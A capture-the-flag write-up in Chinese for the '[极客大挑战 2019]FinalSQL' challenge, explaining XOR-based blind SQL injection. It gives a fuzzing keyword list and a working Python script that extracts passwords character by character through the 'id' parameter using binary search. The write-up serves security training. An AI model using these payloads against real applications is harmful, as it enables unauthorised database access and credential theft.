zoukankan      html  css  js  c++  java
  • [极客大挑战 2019]FinalSQL

    0x00 前言

    考点:盲注,异或注入

    • 异或'^'是一种数学运算,1^1=0 0^0=0 1^0=0,可以用来进行sql注入,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真。

    0x01 解题

    1. 进入题目页面,尝试在用户名密码处进行注入,做一下FUZZ测试:图2图3

    大多数关键字都被过滤,下面附上我的我的FUZZ测试字典:

    and
    aNd
    or
    oR
    oorr
    select
    sElect
    union
    unIon
    union select
    union/**/select
    /**/
     
     '
     "
     
     information_schema
     ^
     &&
     uniOn/**/select
    
    1. 点击上面的数字,发现URL发生变化:图4
      猜想id可能是注入点,接着做FUZZ测试,''没有被过滤,输入11回显'ERROR',1^0回显'NO! Not this! Click others~~~',判断出为数字型注入。
    2. 给出我的exp:
    import requests
    url = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php'
    flag = ''
    for i in range(1,250):
       low = 32
       high = 128
       mid = (low+high)//2
       while(low<high):
           #payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
           payload = "http://33e8c85b-d0d4-4777-9143-702ddf10ee0e.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
           res = requests.get(url=payload)
    
           if 'ERROR' in res.text:
               low = mid+1
           else:
               high = mid
           mid = (low+high)//2
       if(mid ==32 or mid ==127):
           break
       flag = flag+chr(mid)
       print(flag)
    

    由于空格被过滤,用()代替,我这里payload直接写到了最后一步,猜解表名,字段名的payload我这里就不写了,直接去嵌套常规的联合查询语句即可。

    用二分法速度还是很快的,效率上有很大提高。 图6
    拿到flag。

  • 相关阅读:
    SQL:获取语句执行时间
    好的学习网站和app推荐
    Javascript作业—数组去重(要求:原型链上添加函数)
    Javascript作业—封装type函数,返回较详细的数据类型
    Javascript作业—取字符串的第一个只出现一次的字母
    Javascript作业—数字转化为大写
    HTML入门2—HTML常用标签
    ubuntu 设置静态IP
    centos7 设置 静态IP
    运维常用命令
  • 原文地址:https://www.cnblogs.com/hello-there/p/13026698.html
Copyright © 2011-2022 走看看